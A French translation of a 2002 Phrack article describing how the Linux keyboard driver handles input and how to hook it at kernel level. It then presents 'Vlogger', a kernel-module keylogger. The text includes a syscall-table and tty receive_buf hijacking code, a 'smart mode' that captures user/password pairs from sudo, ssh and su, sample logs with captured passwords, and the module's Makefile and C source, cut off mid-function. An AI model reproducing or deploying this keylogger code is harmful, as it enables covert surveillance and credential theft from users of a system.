Ecrire un keylogger pour le noyau Linux

Note de z33w : Cette traduction est loin d'etre parfaite, veuillez m'en excuser.

                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12


|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ rd <rd@thehackerschoice.com> ]=-------------------=|
|=------------------------=[ June 19th, 2002 ]=--------------------------=|


	|=----=[ Ecrire un keylogger pour le noyau Linux ]=----=|
	|=-----------------------------------------------------=|
	|=----=[ Traduit par z33w <z33w@kernel-land.org> ]=----=|


--[ Sommaire

 1 - Introduction

 2 - Comment fonctionne un driver clavier Linux

 3 - Approche d'un keylogger basé sur le noyau
   3.1 - Handler d'interruption
   3.2 - Détournement de fonction
       3.2.1 - handle_scancode
       3.2.2 - put_queue
       3.2.3 - receive_buf
       3.2.4 - tty_read
       3.2.5 - sys_read/sys_write

 4 - Vlogger
   4.1 - L'approche syscall/tty
   4.2 - Proprietes
   4.3 - Mode d'emploi

 5 - Remerciements

 6 - References

 7 - Code source du keylogger




--[ 1 - Introduction

  Cet article est divise en deux parties:
   - La premiere donne un apercu general de la facon dont fonctionne un driver
clavier sous linux, et debat des methodes qui peuvent etre utilisees pour
creer un keylogger basé sur le kernel.
Cette partie peut etre utile pour ceux d'entre vous qui veulent coder un
keylogger base kernel ou developper leur propre driver clavier, ou encore pour
coder en profitant des nombreuses fonctionnalites d'un driver clavier linux.

   - La seconde partie presente en details Vlogger, un petit keylogger linux
base kernel, et comment s'en servir.
Un keylogger est vraiment interessant niveau code et est largement utilise
pour les honeypots, systemes vulnerables,... tant par les white hats que les
black hats.

  Comme la majorité d'entre vous sait, outre les keyloggers s'exécutant dans
l'espace utilisateur (comme Iob, Uberkley, Unixkeylogger, ..etc), il existe
quelques keyloggers basés kernel. Le plus récent est Linspy d'Halflife, qui à
été publié dans le Phrack numéro 50 (voir [4]).
  Le plus récent K-keylogger (comprendre Kernel-keylogger) à été présenté dans
un article de Mercenary intitulé "Kernel Based Keylogger" (voir [7]) que j'ai
trouvé pendant que j'écrivais cet article.
  La méthode 'classique' de ces K-keyloggers est de logger les tapes au clavier
en interceptant les appels systeme sys_read ou sys_write.
  Cependant, cette technique est légèrement instable et ralentit de facon
notable l'intégralite du systeme; car sys_read (ou sys_write) est la fonction
générique de lecture/écriture du systeme; sys_read est appelé à chaque fois
qu'un processus tente de lire quelque chose en provenance des peripheriques
(tel le clavier, le port serie...). Dans Vlogger, j'ai utilise le meilleur moyen
pour faire en sorte qu'il détourne la fonction traitant le buffer du tty.

  Le lecteur est cense avoir des connaissances en LKM. Je vous recommande de
lire les articles [1] et [2] avant de continuer votre lecture.


--[ 2 - Comment fonctionne un driver clavier sous linux?

  Jetons un oeil sur le schéma pour comprendre comment les données provenant du
clavier sont traites par le système:


  _____________             _________               _________         
 /             \ put_queue |         | receive_buf |         | tty_read
/handle_scancode\--------->|tty_queue|------------>|tty_ldisc|--------->
\               /          |         |             | buffer  |        
 \_____________/           |_________|             |_________|        

     _________            ____________
    |         | sys_read |            |
--->|/dev/ttyX|--------->|user process|
    |         |          |            |
    |_________|          |____________|


                            Figure 1


  Premierement, quand vous appuyez sur une touche du clavier, celui-ci va
envoyer les scancodes correspondants au driver clavier.
Une seule pression de touche peut produire une sequence de jusqu'à 6
scanscodes.

  La fonction handle_scancode() du driver clavier parcourt le flux de scancodes
et la convertit en une série d'évenements 'pression de touche' et 'relâchement
de touche' appelés keycode en utilisant une table de conversion via la fonction
kbd_translate(). Chaque touche est representée par un unique keycode k dans la
tranche 1-127. Appuyer sur la touche k produit le keycode k; quand on libère la
touche un keycode k+128 est emis.

  Par exemple, le keycode de 'a' est 30. Appuyer sur la touche 'a' produit donc
le keycode 30. Libérer la touche 'a' produit le keycode 158 (128+30).

  Ensuite, les keycodes sont convertis en key symboles grâce à la table de
conversion (keymap) appropriée. C'est un processus un peu complexe. En effet,
il existe huit modificateurs possibles (shift keys - Shift, AltGr, Control, Alt,
ShiftLeft, ShiftRight, CtrlLeft et CtrlRight), et la combinaison des
modificateurs actifs et des verrous détermine la table de conversion utilisée.

  Apres les traitements décrits ci-dessus, les caractères obtenus sont envoyés
en queue de liste du tty - tty_flip_buffer.

  Dans la line discipline du tty, la fonction receive_buf() est appelée
periodiquement pour récupérer les caractères provenant de tty_flip_buffer() et
les mettre dans la queue de lecture du tty.

  Quand un processus utilisateur veut récupérer une entrée utilisateur, il
appelle read() sur l'entree standard du processus. sys_read() va appeler read()
définie dans la structure file_operations (qui est pointée par tty_read) du tty
correspondant (ex. /dev/tty0) afin de lire les caractères entrés et retourner au
processus.

  Le driver clavier peut avoir un de ces 4 modes:
	- scancode (RAW MODE): l'application recupere les scancodes en entree.
	Il peut etre utilise par les applications implementant leur propre
	driver clavier (ex: X11)
	
	- keycode (MEDIUMRAW MODE): l'application reçoit les informations des
	touches ayant été pressées et libérées en passant par les keycodes.
	
	- ASCII (XLATE MODE): l'application récupère les caractères définis
	dans la keymap en utilisant un encodage 8-bits.

	- Unicode (UNICODE MODE): Ce mode ne differe du mode ASCII qu'en
	permettant à l'utilisateur d'écrire des caractères unicode UTF8 par
	leur valeur décimale, en utilisant Ascii_0 à Ascii_9, ou par leur valeur
	hexadécimale, en utilisant Hex_0 à Hex_9. Une table de conversion peut
	être modifiée afin de produire des séquences UTF8 (avec un
	pseudo-symbole U+XXXX ou chaque X represente un chiffre hexadecimal).

  Ces modes influencent le type de donnée que l'application va récupérer de
l'entrée clavier. Pour plus de détails sur scancode, keycode et keymap, lisez le
[3].


--[ 3 - Approches d'un keylogger base kernel

  Nous pouvons implementer un k-keylogger (entendre keylogger basé kernel) de
deux manieres : soit en codant notre propre handler d'interruption clavier, soit
en piratant une des fonctions de traitement d'entrée.


----[ 3.1 - Le handler d'interruption

  Pour logger les frappes de touches, nous allons utiliser notre propre handler
d'interruption. Dans les architectures Intel, l'IRQ qui controle le clavier est
l'IRQ 1. Dès qu'il recoit une interruption clavier, notre handler d'interruption
lit le scancode et l'état du clavier. Les évenements clavier peuvent être lus et
écrits via les ports 0x60 (keyboard data register) et 0x64 (keyboard status
register).

/* le code suivant est specifique a Intel */
#define KEYBOARD_IRQ 1 
#define KBD_STATUS_REG 0x64 
#define KBD_CNTL_REG 0x64 
#define KBD_DATA_REG 0x60 

#define kbd_read_input() inb(KBD_DATA_REG) 
#define kbd_read_status() inb(KBD_STATUS_REG) 
#define kbd_write_output(val) outb(val, KBD_DATA_REG) 
#define kbd_write_command(val) outb(val, KBD_CNTL_REG) 

/* appelons notre IRQ handler */
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

In my_keyboard_irq_handler():
	scancode = kbd_read_input(); 
	key_status = kbd_read_status(); 
	log_scancode(scancode);

  Cette méthode est dépendante de la plateforme. Elle ne sera donc pas portable
d'une plateforme à une autre. Faites très attention avec le handler
d'interruption pour ne pascrasher votre box ;)


----[ 3.2 - Hijacking de fonction

  En nous basant sur la Figure 1, on peut implementer notre keylogger de telle
sorte qu'il logge les entrées utilisateur en détournant une des fonctions
suivantes : handle_scancode(), put_queue(), receive_buf(), tty_read() et
sys_read(). Notez qu'il est impossible d'intercepter la fonction
tty_insert_flip_char() car c'est une fonction INLINE.


------[ 3.2.1 - handle_scancode

  C'est la fonction d'entrée du driver clavier (voir keyboard.c). Elle traite
les scancodes reçus du clavier.


# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);

  Nous pouvons remplacer handle_scancode() par le notre, afin de logger tous les
scancodes. Mais la fonction handle_scancode() n'est ni globale ni exportee.
Donc pour parvenir à nos fins, nous pouvons utiliser la technique de
détournement de fonctions du kernel de Silvio (voir [5]).


/*le fragment de code ci-dessous a ete ecrit par Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;

#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
       "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */
       "\xff\xe0"                  /*      jmp    *%eax    */
   ;

void (*handle_scancode) (unsigned char, int) =
        (void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)
{
       if (logging && keydown)
          log_scancode(scancode, LOGFILE);
    
       /*
        * On restaure les premiers octets du code original de handle_scancode. 
	* On appelle la fonction restauree et on restitue le jump code.
	* Le code est protege par la semaphore hs_sem, et nous avons besoin
	* que d'un seul CPU a ce moment.
        */     
       down(&hs_sem);
    
       memcpy(handle_scancode, hs_code, CODESIZE);
       handle_scancode(scancode, keydown);
       memcpy(handle_scancode, hs_jump, CODESIZE);
    
       up(&hs_sem);
}

HS_ADDRESS is set by the Makefile executing this command
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))


  Une methode similaire à été presentée en 3.1, l'avantage de celle-ci est sa
facilité à logger les frappes de clavier sous X et en console, peut importe si
un tty a ete lancé ou non. Et vous allez savoir exactement quelle touche à été
pressée sur le clavier (touches speciales telles Ctrl, Shift.. etc incluses).
Mais cette méthode est dépendante de la plateforme et ne peut pas être portée
sur toutes. Elle ne peut pas non plus logger les frappes de touches des sessions
distantes et il est assez complexe de coder un logger evolué :(


------[ 3.2.2 - put_queue

  Cette fonction est appelée par handle_scancode() afin d'envoyer les
caractères dans tty_queue.

# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);

  Pour intercepter cette fonction, nous pouvons utiliser la meme technique que
dans la section 3.2.1.


------[ 3.2.3 - receive_buf

  La fonction receive_buf() est appelée par le driver tty de bas niveau afin
d'envoyer les caractères reçus par le hardware dans la line discipline qui les
traitera.

# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const 
				unsigned char *cp, char *fp, int count)

  cp est un pointeur sur le buffer d'entree des caracteres recus par le
périphérique. fp est un pointeur de pointeur sur les octets de flag indiquant
quand un caractere reçu comportait une erreur de parité ou autre..

  A present, portons notre attention sur les structures tty.

# /usr/include/linux/tty.h
struct tty_struct {
	int	magic;
	struct tty_driver driver;
	struct tty_ldisc ldisc;
	struct termios *termios, *termios_locked;
	...
}

# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
	int	magic;
	char	*name;
	...	
	void	(*receive_buf)(struct tty_struct *, 
			const unsigned char *cp, char *fp, int count);
	int	(*receive_room)(struct tty_struct *);
	void	(*write_wakeup)(struct tty_struct *);
};

  Pour intercepter cette fonction, nous pouvons sauver la fonction originale
receive_buff() et passer ldisc.receive_buf dans notre propre new_receive_buf()
afin de logger les entrées utilisateur.
 
Ex: logguer les entrées de tty0

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;
tty->ldisc.receive_buf = new_receive_buf;

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, 
						char *fp, int count)
{	
	logging(tty, cp, count); 	//log inputs

	/* appel de la fct originale receive_buf */
	(*old_receive_buf)(tty, cp, fp, count);
}


------[ 3.2.4 - tty_read

  Cette fonction est appelée quand un processus veut lire les caractères
provenant du tty via sys_read().

# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count, 
				loff_t *ppos)

static struct file_operations tty_fops = {
	llseek:		tty_lseek,
	read:		tty_read,
	write:		tty_write,
	poll:		tty_poll,
	ioctl:		tty_ioctl,
	open:		tty_open,
	release:	tty_release,
	fasync:		tty_fasync,
};

logguer les entrees du tty0:

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);	
old_tty_read = file->f_op->read;
file->f_op->read = new_tty_read;


------[ 3.2.5 - sys_read/sys_write

  Nous allons intercepter les appels sytème sys_read/sys_write afin de les
rediriger vers notre propre code qui loggue les données recues par les appels
read/write. Cette méthode à été présentée par halflife dans Phrack 50 ([4]) et
je vous recommande fortement de lire cet article et celui de pragmatic intitulé
"Complete Linux Loadable Kernel Module" (voir [2]).

  Le code destiné à intercepter sys_read/sys_write aura l'allure suivante :

extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;


--[ 4 - vlogger

  Cette partie va présenter mon kernel keylogger, utilisant la methode décrite
dans la section 3.2.3 afin d'obtenir plus de capacités que les keyloggers
utilisant les remplacements d'appels système sys_read/sys_write. J'ai testé le
code avec les versions des noyaux linux suivantes: 2.4.5, 2.4.7, 2.4.17 et
2.4.18. 


----[ 4.1 - Approche des  syscall/tty

  Pour logger à la fois en local (logger depuis la console) et en distant, j'ai
choisi comme méthode l'interception de la fonction receive_buf() (voir 3.2.3).

  Dans le kernel, les structures tty_struct et tty_queue sont dynamiquement
allouées seulement si le tty est ouvert. Ainsi, nous devons intercepter sys_open
pour accrocher dynamiquement le receive_buf() de chaque tty ou pty invoqué.

// intercepter le sycall open
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
...
	// call the original_sys_open
	ret = (*original_sys_open)(filename, flags, mode);
	
	if (ret >= 0) {
		struct tty_struct * tty;
...
		file = fget(ret);
		tty = file->private_data;
		if (tty != NULL && 
...
			tty->ldisc.receive_buf != new_receive_buf) {
...
				// sauver l'ancien receive_buf			
				old_receive_buf = tty->ldisc.receive_buf;
...

		       /* 
		        * init pour intercepter receive_buf de ce tty 
		        * tty->ldisc.receive_buf = new_receive_buf;
		        */
			init_tty(tty, TTY_INDEX(tty));
		}
...
}

// notre nouvelle fonction receive_buf()
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, 
						char *fp, int count)
{
	if (!tty->real_raw && !tty->raw)	// ignorer le raw mode
		// appeler notre fonction de loggin pour logger les entrees
		// utilisateur
		vlogger_process(tty, cp, count); 
	// appel du receive_buf original
	(*old_receive_buf)(tty, cp, fp, count);
}


----[ 4.2 - Proprietes

  - Loggue a la fois les sesions locales et distantes (via tty & pts)

  - Log separé pour chaque tty/session. Chaque tty a son propre buffer de log.

  - Supporte quasiment tous les caracteres speciaux comme les touches flechées
    (left, right, up, down), F1 à F12, Shift+F1 to Shift+F12, Tab, Insert,
    Delete, End, Home, Page Up, Page Down, BackSpace, ... 

  - Supporte aussi les touches d'édition de ligne comme Ctrl-U et Backspace.

  - Loggue aussi le temps : timestamps et timezone (récupérés de codes de la libc)

  - Diversite des  modes de log

	o mode stupide: logge toutes les frappes

	o mode malin: detecte le prompt de password (celui qui permet
	l'authentification) automatiquement et loggue le couple user/password
	uniquement. J'ai utilisé une technique similaire présentée dans
	l'article de Solar Designer et Dug Song, "Analyse passive du traffic
	SSH" ("Passive Analysis of SSH (Secure Shell) Traffic"); voir [6]. Quand
	l'application cache les caractères tapés, on présume que c'est pour
	entrer un password.

	o mode normal: desactive le logging.

  Vous pouvez switcher entre les modes de logging en utilisant un password
magique ;)

#define VK_TOGLE_CHAR	29	// CTRL-]
#define MAGIC_PASS	"31337"	// pour changer de mode, il faut écrire le
				// MAGIC_PASS et presser la touche VK_TOGLE_CHAR

----[ 4.3 - Mode d'emploi

Modifier les diverses options

// repertoire pour les fichiers de log
#define LOG_DIR "/tmp/log"

// votre timezone locle
#define TIMEZONE	7*60*60	// GMT+7

// votre password magique
#define MAGIC_PASS	"31337" 

Ci-dessous, on peut voir comment apparaissent les fichiers de log:

[root@localhost log]# ls -l
total 60
-rw-------    1 root     root          633 Jun 19 20:59 pass.log
-rw-------    1 root     root        37593 Jun 19 18:51 pts11
-rw-------    1 root     root           56 Jun 19 19:00 pts20
-rw-------    1 root     root          746 Jun 19 20:06 pts26
-rw-------    1 root     root          116 Jun 19 19:57 pts29
-rw-------    1 root     root         3219 Jun 19 21:30 tty1
-rw-------    1 root     root        18028 Jun 19 20:54 tty2

---en mode stupide
[root@localhost log]# head tty2		// session locale
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]

[root@localhost log]# tail pts11	// session distante
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger

---en mode malin
[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute yahoo.com
PASS 5hgt6d
PASS 

[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
USER/CMD ssh guest@host.com
PASS guest

[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER/CMD open ftp.ilog.fr
USER Anonymous
PASS heh@heh

[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
USER/CMD su -
PASS asdf1234

SVP, rendez-vous sur http://www.thehackerschoice.com pour vérifier la présence
d'une version plus évoluée de ce soft.


--[ 5 - Remerciements

  Merci a Plasmoid, Skyper pour ces commentaires non-negligeables.
Merci a THC, vnsecurity et tous les autres amis.
Et enfin, merci a Mr.Thang pour les corrections d'anglais.


--[ 6 - References

[1] Linux Kernel Module Programming
    http://www.tldp.org/LDP/lkmpg/
[2] Complete Linux Loadable Kernel Modules - Pragmatic
    http://www.thehackerschoice.com/papers/LKM_HACKING.html
[3] The Linux keyboard driver - Andries Brouwer
    http://www.linuxjournal.com/lj-issues/issue14/1080.html
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
    http://www.phrack.com/phrack/50/P50-05
[5] Kernel function hijacking - Silvio Cesare
    http://www.big.net.au/~silvio/kernel-hijack.txt
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer 
    http://www.openwall.com/advisories/OW-003-ssh-traffic-analysis.txt
[7] Kernel Based Keylogger - Mercenary
    http://packetstorm.decepticons.org/UNIX/security/kernel.keylogger.txt

--[ 7 - Keylogger sources

<++> vlogger/Makefile
#
#  vlogger 1.0 by rd
#
#  LOCAL_ONLY		logging local session only. Doesn't intercept
#			sys_open system call
#  DEBUG		Enable debug. Turn on this options will slow
#			down your system
#

KERNELDIR =/usr/src/linux
include $(KERNELDIR)/.config
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h

MODDEFS = -D__KERNEL__ -DMODULE -DMODVERSIONS
CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
	-Wstrict-prototypes -fomit-frame-pointer -pipe \
	-fno-strength-reduce -malign-loops=2 -malign-jumps=2 \
	-malign-functions=2

all : vlogger.o

vlogger.o: vlogger.c
	$(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@

clean:
	rm -f *.o
<-->
<++> vlogger/vlogger.c
/*
 *  vlogger 1.0
 *
 *  Copyright (C) 2002 rd <rd@vnsecurity.net>
 *
 *  Please check http://www.thehackerschoice.com/ for update
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version
 *
 *  This program is distributed in the hope that it will be useful, but 
 *  WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU 
 *  General Public License for more details.
 *
 *  Greets to THC & vnsecurity
 *
 */

#define __KERNEL_SYSCALLS__
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/sched.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <asm/errno.h>
#include <asm/io.h>

#ifndef KERNEL_VERSION
#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#endif

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,4,9)
MODULE_LICENSE("GPL");
MODULE_AUTHOR("rd@vnsecurity.net");
#endif

#define MODULE_NAME "vlogger "
#define MVERSION "vlogger 1.0 - by rd@vnsecurity.net\n"

#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#else
#define DPRINT(format, args...)
#endif

#define N_TTY_NAME "tty"
#define N_PTS_NAME "pts"
#define MAX_TTY_CON 8
#define MAX_PTS_CON 256
#define LOG_DIR "/tmp/log"
#define PASS_LOG LOG_DIR "/pass.log"

#define TIMEZONE 7*60*60	// GMT+7

#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127	// local
#define BACK_SPACE_CHAR2 8	// remote

#define VK_TOGLE_CHAR 29	// CTRL-]
#define MAGIC_PASS "31337" 	// to switch mode, press MAGIC_PASS and 
				// VK_TOGLE_CHAR

#define	VK_NORMAL 0
#define	VK_DUMBMODE 1
#define	VK_SMARTMODE 2
#define DEFAULT_MODE VK_DUMBMODE

#define MAX_BUFFER 256
#define MAX_SPECIAL_CHAR_SZ 12

#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
			+ (tty)->driver.name_base
#define TTY_INDEX(tty) tty->driver.type == \
			TTY_DRIVER_TYPE_PTY?MAX_TTY_CON + \
			TTY_NUMBER(tty):TTY_NUMBER(tty)
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
							buf, count)

#define TTY_NAME(tty) (tty->driver.type == \
		TTY_DRIVER_TYPE_CONSOLE?N_TTY_NAME: \
		tty->driver.type == TTY_DRIVER_TYPE_PTY && \
		tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

extern void *sys_call_table[];
int errno;

struct tlogger {
	struct tty_struct *tty;
	char buf[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ];
	int lastpos;
	int status;
	int pass;
};

struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
			char *, int);
asmlinkage int (*original_sys_open)(const char *, int, int);

int vlogger_mode = DEFAULT_MODE;

/* Prototypes */
static inline void init_tty(struct tty_struct *, int);

/*
static char *_tty_make_name(struct tty_struct *tty, 
				const char *name, char *buf)
{
	int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;

	if (!tty) 
		strcpy(buf, "NULL tty");
	else
		sprintf(buf, name,
			idx + tty->driver.name_base);
	return buf;
}

char *tty_name(struct tty_struct *tty, char *buf)
{
	return _tty_make_name(tty, (tty)?tty->driver.name:NULL, buf);
}
*/

#define SECS_PER_HOUR   (60 * 60)
#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
#define isleap(year) \
	((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

struct vtm {
	int tm_sec;
	int tm_min;
	int tm_hour;
	int tm_mday;
	int tm_mon;
	int tm_year;
};


/* 
 *  Convert from epoch to date 
 */
 
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
{
	static const unsigned short int mon_yday[2][13] = {
	   /* Normal years.  */
	   { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
	   /* Leap years.  */
	   { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
	};

	long int days, rem, y;
	const unsigned short int *ip;

	days = *t / SECS_PER_DAY;
	rem = *t % SECS_PER_DAY;
	rem += offset;
	while (rem < 0) { 
		rem += SECS_PER_DAY;
		--days;
	}
	while (rem >= SECS_PER_DAY) {
		rem -= SECS_PER_DAY;
		++days;
	}
	tp->tm_hour = rem / SECS_PER_HOUR;
	rem %= SECS_PER_HOUR;
	tp->tm_min = rem / 60;
	tp->tm_sec = rem % 60;
	y = 1970;

	while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
		long int yg = y + days / 365 - (days % 365 < 0);
		days -= ((yg - y) * 365
			+ LEAPS_THRU_END_OF (yg - 1)
			- LEAPS_THRU_END_OF (y - 1));
		y = yg;
	}
	tp->tm_year = y - 1900;
	if (tp->tm_year != y - 1900)
		return 0;
	ip = mon_yday[isleap(y)];
	for (y = 11; days < (long int) ip[y]; --y)
		continue;
	days -= ip[y];
	tp->tm_mon = y;
	tp->tm_mday = days + 1;
	return 1;
}


/* 
 *  Get current date & time
 */

void get_time (char *date_time) 
{
	struct timeval tv;
	time_t t;
	struct vtm tm;
	
	do_gettimeofday(&tv);
        t = (time_t)tv.tv_sec;
	
	epoch2time(&t, TIMEZONE, &tm);

	sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
		tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
		tm.tm_sec);
}


/* 
 * Get task structure from pgrp id
 */

inline struct task_struct *get_task(pid_t pgrp) 
{
	struct task_struct *task = current;

        do {
                if (task->pgrp == pgrp) {
                        return task;
                }
                task = task->next_task;
        } while (task != current);
        return NULL;
}


#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))
#define WRITABLE(f) (f->f_op && f->f_op->write)

int write_to_file(char *logfile, char *buf, int size)
{
	int ret = 0;
	struct file   *f = NULL;

	lock_kernel();
	BEGIN_KMEM;
	f = filp_open(logfile, O_CREAT|O_APPEND, 00600);

	if (IS_ERR(f)) {
		DPRINT("Error %ld opening %s\n", -PTR_ERR(f), logfile);
		ret = -1;
	} else {
		if (WRITABLE(f))
			_write(f, buf, size);
		else {
	      		DPRINT("%s does not have a write method\n",
	      			logfile);
			ret = -1;
		}
    			
		if ((ret = filp_close(f,NULL)))
			DPRINT("Error %d closing %s\n", -ret, logfile);
	}
	END_KMEM;
	unlock_kernel();

	return ret;
}


#define BEGIN_ROOT { int saved_fsuid = current->fsuid; current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid; }


/* 
 *  Logging keystrokes
 */

void logging(struct tty_struct *tty, struct tlogger *tmp, int cont) 
{
	int i;

	char logfile[256];
	char loginfo[MAX_BUFFER + MAX_SPECIAL_CHAR_SZ + 256];
	char date_time[24];
	struct task_struct *task;

	if (vlogger_mode == VK_NORMAL)
		return;

	if ((vlogger_mode == VK_SMARTMODE) && (!tmp->lastpos || cont))
		return;
		
	task = get_task(tty->pgrp);
		
	for (i=0; i<tmp->lastpos; i++)
		if (tmp->buf[i] == 0x0D) tmp->buf[i] = 0x0A;

	if (!cont) 
		tmp->buf[tmp->lastpos++] = 0x0A;
	
	tmp->buf[tmp->lastpos] = 0;

	if (vlogger_mode == VK_DUMBMODE) {
		snprintf(logfile, sizeof(logfile)-1, "%s/%s%d",
				LOG_DIR, TTY_NAME(tty),	TTY_NUMBER(tty));
		BEGIN_ROOT
		if (!tmp->status) {
			get_time(date_time);
			if (task)
				snprintf(loginfo, sizeof(loginfo)-1,
					"<%s uid=%d %s> %s", date_time,
					task->uid, task->comm, tmp->buf);
			else
				snprintf(loginfo, sizeof(loginfo)-1,
					"<%s> %s", date_time, tmp->buf);
			
			write_to_file(logfile, loginfo, strlen(loginfo));
		} else {
			write_to_file(logfile, tmp->buf, tmp->lastpos);
		}
		END_ROOT

#ifdef DEBUG
		if (task)
			DPRINT("%s/%d uid=%d %s: %s", 
				TTY_NAME(tty), TTY_NUMBER(tty), 
				task->uid, task->comm, tmp->buf);
		else
			DPRINT("%s", tmp->buf);
#endif
		tmp->status = cont;
		
	} else {

		/*
		 *  Logging USER/CMD and PASS in SMART_MODE
		 */

		BEGIN_ROOT
		if (!tmp->pass) {
			get_time(date_time);
			if (task)
				snprintf(loginfo, sizeof(loginfo)-1,
					"\n[%s tty=%s/%d uid=%d %s]\n"
					"USER/CMD %s", date_time, 
					TTY_NAME(tty),TTY_NUMBER(tty), 
					task->uid, task->comm, tmp->buf);
			else
				snprintf(loginfo, sizeof(loginfo)-1,
					"\n[%s tty=%s/%d]\nUSER/CMD %s",
					date_time, TTY_NAME(tty), 
					TTY_NUMBER(tty), tmp->buf);

			write_to_file(PASS_LOG, loginfo, strlen(loginfo));
		} else {
			snprintf(loginfo, sizeof(loginfo)-1, "PASS %s",
					tmp->buf);
			write_to_file (PASS_LOG, loginfo, strlen(loginfo));
		}

		END_ROOT

#ifdef DEBUG
		if (!tmp->pass)
			DPRINT("USER/CMD %s", tmp->buf);
		else
			DPRINT("PASS %s", tmp->buf);
#endif
	}

	if (!cont) tmp->buf[--tmp->lastpos] = 0;
}


#define resetbuf(t)		\
{				\
	t->buf[0] = 0;		\
	t->lastpos = 0;		\
}

#define append_c(t, s, n)	\
{				\
	t->lastpos += n;	\
	strncat(t->buf, s, n);	\
}

static inline void reset_all_buf(void)
{
	int i = 0;
	for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
		if (ttys[i] != NULL)
			resetbuf(ttys[i]);
}

void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
{
